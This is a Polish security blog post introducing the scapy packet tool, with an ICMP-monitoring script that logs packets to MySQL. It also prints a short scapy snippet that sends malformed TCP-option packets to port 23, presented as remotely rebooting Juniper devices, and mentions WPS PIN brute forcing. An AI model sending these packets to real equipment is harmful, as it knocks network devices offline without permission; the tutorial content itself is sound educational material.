Książka sekuraka o bezpieczeństwie aplikacji webowych: -20% z kodem rabatowym: ksiazka-wakacje

Scapy – prosty monitor komunikacji sieciowej

23 maja 2013, 11:11 | Teksty | komentarze 3

Narzędzie scapy swoją popularność zyskało chyba po raz pierwszy przy okazji pracy Advanced WiFi Fuzzing, gdzie autorzy zaprezentowali dość nowatorskie podejście do tematyki bezpieczeństwa sieci WiFi. Mianowicie realizując fuzzing z pewnym wykorzystaniem scapy, pokazali nieuwierzytelnione ramki WiFi, które umożliwiały przepełnienie buforów w oprogramowaniu sterowników kart bezprzewodowych (Linux & madwifi) na AP.

Co ten problem umożliwiał? W największym skrócie – wykonanie dowolnego kodu z uprawnieniami jądra systemu operacyjnego – w sposób nieuwierzytelniony. Jeszcze inaczej – niezależnie od tego jak została skonfigurowana sieć  bezprzewodowa – w trybie Open, WEP, WPA, WPA2, czy WPA2-Enterprise – atakujący mógł wysłać bezprzewodowo nieuwierzytelnione ramki, które powodowały wykonanie dowolnego kodu w OS, na którym pracowało radio. Biorąc pod uwagę fakt, że przynajmniej domowe routery WiFi często bazują na Linuksie i bardzo rzadko są uaktualniane, problem może być aktualny i dziś…

Kolejnym ciekawym zastosowaniem scapy był pewien skrypt pokazujący słabości mechanizmu WPS (możliwość wykonania bruteforce PIN-u w dość krótkim czasie – a tym samym uzyskania pełnego dostępu do sieci WiFi – ponownie – bez konieczności znajomości hasła dostępowego).

Jeszcze innym wykorzystaniem możliwości scapy, była swego czasu prezentacja buga na urządzeniach Junipera, de facto z wykorzystaniem jednej linijki w scapy istniała możliwość zdalnego rebootu urządzeń.

Bardziej „rozbudowana” wersja tego skryptu składa się aż z trzech linijek:

>>> ipl = IP(dst="172.17.20.102")
>>> ipl
<IP  dst=172.17.20.102 |>
>>> send([ipl/TCP(dport=23, options=[(x, "")])/"bye bye" for x in range(256)])
................................................................................................................
................................................................................................................
................................
Sent 256 packets.

 

Z kolei z mojej strony, aby zachęcić do przetestowania możliwości scapy, udostępniam prosty skrypt monitorujący komunikację sieciową – nasłuchiwanie pakietów ICMP oraz zapis wybranych danych  o tych pakietach (adresacja IP, typ, kod) do bazy danych. Wygląda skomplikowanie? W scapy to tylko kilka linijek :)

 

#! /usr/bin/env python
from scapy.all import *
import re
import MySQLdb

conn = MySQLdb.connect("localhost","test","test","test")
c = conn.cursor()

def icmp_callback(pkt):
	if ICMP in pkt:  
		c.execute("""INSERT INTO icmps (dst,src,type,code) VALUES (%s,%s,%s,%s)""",(pkt[IP].dst,pkt[IP].src,pkt[ICMP].type,pkt[ICMP].code))

sniff(prn=icmp_callback, filter="icmp", store=0)

 

— michal.sajdak@securitum.pl

 

 

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Scapy pomimo swej maleńkości jest gigantem.

    Odpowiedz
  2. Damian

    „One authentication attempt usually took between 0.5 and 3 seconds to complete…”

    z wifite czy reavera, na nowszych routerach att nawet po 120sec (na tych starszych minimalnie 9sec), wiec atak trwa kilka dni…

    Odpowiedz
    • @Damian -> to prawa, choć jak już się uda, to brzydko mówiąc, pozamiatane…

      Odpowiedz

Odpowiedz na Damian